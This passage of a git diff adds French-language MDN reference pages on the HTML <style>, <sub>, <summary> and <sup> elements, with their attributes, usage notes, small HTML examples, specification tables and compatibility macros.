diff --git a/files/fr/web/html/element/style/index.html b/files/fr/web/html/element/style/index.html
new file mode 100644
index 0000000000..04cd93935d
--- /dev/null
+++ b/files/fr/web/html/element/style/index.html
@@ -0,0 +1,205 @@
+---
+title: '<style> : l''élément d''information de style'
+slug: Web/HTML/Element/style
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/style
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;style&gt;</code></strong> contient des informations de mise en forme pour un document ou une partie d'un document. Par défaut, les instructions de mise en forme écrites dans cet élément sont écrites en <a href="/fr/docs/Web/CSS">CSS</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/style.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'élément <code>&lt;style&gt;</code> peut être inclus dans l'élément {{htmlelement("head")}} ou dans l'élément {{htmlelement("body")}} du document et les styles seront appliqués. Toutefois, il est recommandé de placer les styles dans l'élément<code> &lt;head&gt;</code> afin de clairement séparer la présentation du contenu autant que possible. La méthode idéale en ce sens consiste à utiliser des feuilles de style dans des fichiers externes et de les appliquer au document grâce à des éléments {{htmlelement("link")}}.</p>
+
+<p>Si plusieurs éléments <code>&lt;style&gt;</code> et <code>&lt;link&gt;</code> sont appliqués au document, ils seront appliqués dans l'ordre dans lequel ils sont inclus dans le document. Aussi, vérifiez l'ordre afin d'éviter tout problème de cascade.</p>
+
+<p>À l'instar des éléments <code>&lt;link&gt;</code>, les éléments <code>&lt;style&gt;</code> peuvent inclure des attributs <code>media</code> qui décrivent des <a href="/fr/docs/Web/CSS/Requêtes_média">requêtes média</a> qui permettent d'appliquer des feuilles de styles selon certains critères provenant du média utilisé (la largeur de l'écran par exemple).</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("media")}}</dt>
+ <dd>Cet attribut est <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries">une requête média</a> qui indique le média auquel la mise en forme doit s'appliquer. Cet attribut est optionnel, la valeur par défaut est <code>all</code>.</dd>
+ <dt>{{htmlattrdef("nonce")}}</dt>
+ <dd>Un <em>nonce</em> cryptographique utilisé pour inscrire les styles en ligne sur une liste blanche pour la règle <code><a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy/style-src">style-src</a></code> de la CSP (<em>Content Security Policy</em>). Le serveur doit générer un nonce unique chaque fois qu'il transmet une règle de sécurité. Ce nonce ne doit pas pouvoir être deviné car sinon, il devient trivial d'outrepasser la règle de sécurité.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Cet attribut définit le langage de la feuille de style sous la forme d'un type MIME (le jeu de caractères ne doit pas être indiqué). Cet attribut est optionnel, la valeur par défaut est <code>text/css</code>.</dd>
+ <dt>{{htmlattrdef("title")}}</dt>
+ <dd>Cet attribut indique un ensemble <a href="/fr/docs/Web/CSS/Feuilles_de_style_alternatives">de feuilles de style alternatif</a>.</dd>
+</dl>
+
+<h3 id="Attributs_dépréciés_ou_obsolètes">Attributs dépréciés ou obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("scoped")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Cet attribut indique que les règles de mises en forme ne s'appliquent qu'aux éléments ayant le même élément parent que l'élément courant.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Une_feuille_de_style_simple">Une feuille de style simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;style&gt;
+    p {
+      color: red;
+    }
+  &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;Voici un paragraphe.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Une_feuille_de_style_simple', '100%', '60')}}</p>
+
+<h3 id="Utiliser_plusieurs_éléments_&lt;style>">Utiliser plusieurs éléments <code>&lt;style&gt;</code></h3>
+
+<p>Dans cet exemple, on utilise deux éléments <code>&lt;style&gt;</code>, on peut voir comment les déclarations en conflit sont gérées : c'est le deuxième élément qui a la priorité si les <a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/La_cascade_et_l_héritage#Spécificité">spécificités</a> sont égales car les feuilles sont appliquées dans l'ordre.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush:html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;style&gt;
+    p {
+      color: white;
+      background-color: blue;
+      padding: 5px;
+      border: 1px solid black;
+    }
+  &lt;/style&gt;
+  &lt;style&gt;
+    p {
+      color: blue;
+      background-color: yellow;
+    }
+  &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;Voici un paragraphe.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Utiliser_plusieurs_éléments_&lt;style&gt;', '100%', '60')}}</p>
+
+<h3 id="Utiliser_une_requête_média">Utiliser une requête média</h3>
+
+<p>Dans cet exemple (basé sur le précédent), on ajoute un attribut <code>media</code> sur le deuxième élément <code>&lt;style&gt;</code> afin que les règles correspondantes ne soient appliquées que si la largeur de la zone d'affichage (<em>viewport</em>) est inférieure à 500 pixels.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush:html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;style&gt;
+    p {
+      color: white;
+      background-color: blue;
+      padding: 5px;
+      border: 1px solid black;
+    }
+  &lt;/style&gt;
+  &lt;style media="all and (max-width: 500px)"&gt;
+    p {
+      color: blue;
+      background-color: yellow;
+    }
+  &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;Voici un paragraphe.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample('Utiliser_une_requête_média', '100%', '60')}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_méta-données">Contenu de métadonnées</a>.</td>
+  </tr>
+  <tr>
+   <th>Contenu autorisé</th>
+   <td>Du contenu textuel correspondant à l'attribut <code>type</code> (c'est-à-dire <code>text/css</code>).</td>
+  </tr>
+  <tr>
+   <th>Omission de balises</th>
+   <td>Les deux balises doivent être présentes.</td>
+  </tr>
+  <tr>
+   <th>Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_méta-données">contenu de métadonnées</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun</td>
+  </tr>
+  <tr>
+   <th>Interface DOM</th>
+   <td>{{domxref("HTMLStyleElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-style-element', 'style')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Ajout de l'attribut <code>nonce</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-style-element', 'style')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>L'attribut <code>type</code> devient optionnel.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/styles.html#h-14.2.3', 'style')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément {{HTMLElement("link")}} qui permet d'utiliser des feuilles de style externes.</li>
+</ul>
diff --git a/files/fr/web/html/element/sub/index.html b/files/fr/web/html/element/sub/index.html
new file mode 100644
index 0000000000..36034b1ba3
--- /dev/null
+++ b/files/fr/web/html/element/sub/index.html
@@ -0,0 +1,136 @@
+---
+title: '<sub> : l''élément de souscription'
+slug: Web/HTML/Element/sub
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/sub
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;sub&gt;</code></strong> est utilisé, pour des raisons typographiques, afin d'afficher du texte souscrit (ou en indice) (plus bas et généralement plus petit) par rapport au bloc de texte environnant.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/sub.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation"><strong>Notes d'utilisation</strong></h2>
+
+<p>L'élément <code>&lt;sub&gt;</code> devrait uniquement être utilisé à des fins typographiques (afin de modifier la position du texte en raison des conventions typographiques) et non pour obtenir des effets de mise en forme. Ainsi, on n'utilisera pas <code>&lt;sub&gt;</code> pour restituer l'effet visuel d'un logo mais plutôt la propriété CSS {{cssxref("vertical-align")}} avec la valeur <code>sub</code>).</p>
+
+<p>Voici certains cas d'utilisation (non exhaustifs) pour <code>&lt;sub&gt;</code> :</p>
+
+<ul>
+ <li>L'écriture de certains éléments d'une formule mathématique
+  <ul>
+   <li>Dans le cadre de formules complexes, <a href="/fr/docs/Web/MathML">MathML</a> peut s'avérer plus pertinent que l'enchaînement d'éléments {{HTMLElement("sup")}} et <code>&lt;sub&gt;</code>.</li>
+  </ul>
+ </li>
+ <li>L'indication de renvois en bas de page</li>
+ <li>L'écriture du nombre d'atomes dans un formule chimique (ex. C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>).</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Renvoi_vers_une_note_de_bas_de_page">Renvoi vers une note de bas de page</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  Selon les calculs effectués par Nakamura, Johnson et
+  Mason&lt;sub&gt;1&lt;/sub&gt;, cela causera l'annulation complète
+  des deux particules.
+&lt;/p&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Renvoi_vers_une_note_de_bas_de_page", 650, 80)}}</p>
+
+<h3 id="Formule_chimique">Formule chimique</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  La molécule d'eau est symbolisée
+  par H&lt;sub&gt;2&lt;/sub&gt;O.
+&lt;/p&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Formule_chimique","100%","120")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-sub-and-sup-elements', '&lt;sub&gt; and &lt;sup&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-sub-and-sup-elements', '&lt;sub&gt; and &lt;sup&gt;;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.sub")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément HTML {{HTMLElement("sub")}} permet un effet de mise en exposant. Il est à noter que l'élément <code>&lt;sub&gt;</code> et l'élément <code>&lt;sup&gt;</code> ne peuvent pas être utilisés simultanément. Pour afficher le symbole chimique d'un élément, il faudra utiliser <a href="/fr/docs/Web/MathML">MathML</a> pour représenter à la fois le numéro atomique et le nombre de masse.</li>
+ <li>Les éléments MathML {{MathMLElement("msub")}}, {{MathMLElement("msup")}} et {{MathMLElement("msubsup")}}.</li>
+ <li>La propriété CSS {{cssxref("vertical-align")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/summary/index.html b/files/fr/web/html/element/summary/index.html
new file mode 100644
index 0000000000..a120b67403
--- /dev/null
+++ b/files/fr/web/html/element/summary/index.html
@@ -0,0 +1,154 @@
+---
+title: '<summary> : l''élément de révélation d''un résumé'
+slug: Web/HTML/Element/summary
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/summary
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;summary&gt;</code></strong> représente une boîte permettant de révéler le contenu d'un résumé ou d'une légende pour le contenu d'un élément {{HTMLElement("details")}}. En cliquant sur l'élément <code>&lt;summary&gt;</code>, on passe de l'état affiché à l'état masqué (et vice versa) de l'élément <code>&lt;details&gt;</code> parent.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/summary.html","tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes_dutilisation">Notes d'utilisation</h2>
+
+<p>Un élément <code>&lt;summary&gt;</code> peut contenir des éléments de titre, du texte simple ou tout contenu HTML pouvant être placé au sein d'un paragraphe.</p>
+
+<p>Un élément <code>&lt;summary&gt;</code> peut uniquement être utilisé comme le premier élément fils d'un élément <code>&lt;details&gt;</code>. Lorsque l'utilisateur clique sur le résumé, l'élément <code>&lt;details&gt;</code> parent change d'état (affiché ou masqué) et un évènement {{event("toggle")}} est envoyé à l'élément <code>&lt;details&gt;</code> (ce qui permet de détecter un changement d'état via un script).</p>
+
+<h3 id="Libellé_par_défaut">Libellé par défaut</h3>
+
+<p>Si l'élément <code>&lt;summary&gt;</code> est absent au sein d'un élément <code>&lt;details&gt;</code>, c'est le titre contenu dans l'élément {{HTMLElement("details")}} qui sera utilisé.</p>
+
+<h3 id="Mise_en_forme_par_défaut">Mise en forme par défaut</h3>
+
+<p>La mise en forme par défaut pour <code>&lt;summary&gt;</code> est <code>display: list-item</code>, tel qu'indiqué dans <a href="https://html.spec.whatwg.org/multipage/rendering.html#the-details-and-summary-elements">le standard HTML</a>. Cela permet de modifier ou de retirer l'icône affiché pour le contrôle d'affichage/masquage. Par défaut, cette icône est généralement un triangle.</p>
+
+<p>Si la mise en forme est surchargée avec <code>display: block</code>, l'icône triangulaire qui révèle le contenu sera masquée.</p>
+
+<p>Voir la section ci-après sur la compatibilité des navigateurs à ce sujet car certains navigateurs ne prennent pas en charge tout ces aspects.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;details open&gt;
+  &lt;summary&gt;Détails produit&lt;/summary&gt;
+  &lt;p&gt;Ce produit a été fabriqué par
+  ACME et respecte les pandas.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple","100%","160")}}</p>
+
+<h3 id="Utilisation_de_titres">Utilisation de titres</h3>
+
+<p>Il est possible d'utiliser des titres au sein d'un résumé.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;details open&gt;
+  &lt;summary&gt;&lt;h4&gt;Détails produit&lt;/h4&gt;&lt;/summary&gt;
+  &lt;ol&gt;
+    &lt;li&gt;Date de fabrication : 01 janvier 2018&lt;/li&gt;
+    &lt;li&gt;Numéro de lot : LMA2542501&lt;/li&gt;
+    &lt;li&gt;Date limite de consommation : 31 août 2018&lt;/li&gt;
+  &lt;/ol&gt;
+&lt;/details&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Utilisation_de_titres", 650, 120)}}</p>
+
+<h3 id="Utiliser_avec_divers_éléments_HTML">Utiliser avec divers éléments HTML</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;details open&gt;
+  &lt;summary&gt;&lt;strong&gt;Détails&lt;/strong&gt;&lt;/summary&gt;
+  &lt;ol&gt;
+    &lt;li&gt;Date de fabrication : 01 janvier 2018&lt;/li&gt;
+    &lt;li&gt;Numéro de lot : LMA2542501&lt;/li&gt;
+    &lt;li&gt;Date limite de consommation : 31 août 2018&lt;/li&gt;
+  &lt;/ol&gt;
+&lt;/details&gt;</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Utiliser_avec_divers_éléments_HTML", 650, 120)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a> ou un élément décrivant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_titre">contenu de titre</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>Aucune, la balise ouvrante et la balise fermante sont obligatoires.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Un élément {{HTMLElement("details")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("button")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interactive-elements.html#the-summary-element', '&lt;summary&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'interactive-elements.html#the-summary-element', '&lt;summary&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.summary")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("details")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/sup/index.html b/files/fr/web/html/element/sup/index.html
new file mode 100644
index 0000000000..0b0942d6d6
--- /dev/null
+++ b/files/fr/web/html/element/sup/index.html
@@ -0,0 +1,156 @@
+---
+title: '<sup> : l''élément de mise en exposant'
+slug: Web/HTML/Element/sup
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/sup
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;sup&gt;</code></strong> est utilisé, pour des raisons typographiques, afin d'afficher du texte en exposant (plus haut et généralement plus petit) par rapport au bloc de texte environnant.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/sup.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation"><strong>Notes d'utilisation</strong></h2>
+
+<p>Cet élément devrait uniquement être utilisé pour des raisons typographiques lorsque la position du texte est liée à la signification de ce texte (par exemple pour une formule mathématiques) ou aux règles typographiques (par exemple en français pour M<sup>lle</sup>, M<sup>me</sup> ou C<sup>ie</sup>).</p>
+
+<p>Ainsi, on n'utilisera pas <code>&lt;sup&gt;</code> afin d'obtenir un effet visuel d'un logo par exemple. Pour un simple effet de mise en forme (hors typographie), on utilisera plutôt la propriété {{cssxref("vertical-align")}}, utilisée avec la valeur <code>super</code> (voire avec une valeur numérique si on souhaite être plus précis).</p>
+
+<p>Voici quelques cas d'utilisation (non exhaustifs) pour <code>&lt;sup&gt;</code> :</p>
+
+<ul>
+ <li>L'utilisation d'exposants dans une formule mathématique : x<sup>2</sup>.
+
+  <ul>
+   <li>Dans le cadre de formules complexes, <a href="/fr/docs/Web/MathML">MathML</a> peut s'avérer plus pertinent que l'enchaînement d'éléments {{HTMLElement("sub")}} et <code>&lt;sup&gt;</code>.</li>
+  </ul>
+ </li>
+ <li>L'affichage de lettres supérieures pour respecter certaines conventions typographiques (ex. M<sup>lle</sup>).</li>
+ <li>La représentation de nombres ordinaux : 7<sup>e</sup> art.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Puissance_mathématique">Puissance mathématique</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  Voici la fonction exponentielle :
+  e&lt;sup&gt;x&lt;/sup&gt;.
+&lt;/p&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Puissance_mathématique","100%","120")}}</p>
+
+<h3 id="Lettres_supérieures">Lettres supérieures</h3>
+
+<p>Bien que, techniquement, le lettrage supérieur ne corresponde pas à la mise en exposant, on voit souvent <code>&lt;sup&gt;</code> utilisé pour certaines abréviations.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  Robert a présenté son rapport à M&lt;sup&gt;lle&lt;/sup&gt; Bernard.
+&lt;/p&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Lettres_supérieures","650","80")}}</p>
+
+<h3 id="Nombres_ordinaux">Nombres ordinaux</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  Voici comment le nombre ordinal cinquième est écrit dans
+  différentes langues
+&lt;/p&gt;
+&lt;ul&gt;
+  &lt;li&gt;en français : 5&lt;sup&gt;e&lt;/sup&gt;&lt;/li&gt;
+  &lt;li&gt;en anglais : 5&lt;sup&gt;th&lt;/sup&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Nombres_ordinaux", 650, 160)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-sub-and-sup-elements', '&lt;sub&gt; and &lt;sup&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-sub-and-sup-elements', '&lt;sub&gt; and &lt;sup&gt;;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.sup")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément HTML {{HTMLElement("sub")}} permet un effet de mise en indice. Il est à noter que l'élément <code>&lt;sub&gt;</code> et l'élément <code>&lt;sup&gt;</code> ne peuvent pas être utilisés simultanément. Pour afficher le symbole chimique d'un élément, il faudra utiliser <a href="/fr/docs/Web/MathML">MathML</a> pour représenter à la fois le numéro atomique et le nombre de masse.</li>
+ <li>Les éléments MathML {{MathMLElement("msub")}}, {{MathMLElement("msup")}} et {{MathMLElement("msubsup")}}.</li>
+ <li>La propriété CSS {{cssxref("vertical-align")}}.</li>
+</ul>
diff --git a/files/fr/web/html/element/table/index.html b/files/fr/web/html/element/table/index.html
new file mode 100644
index 0000000000..75c3f2206c
--- /dev/null
+++ b/files/fr/web/html/element/table/index.html
@@ -0,0 +1,456 @@
+---
+title: '<table> : l''élément de tableau'
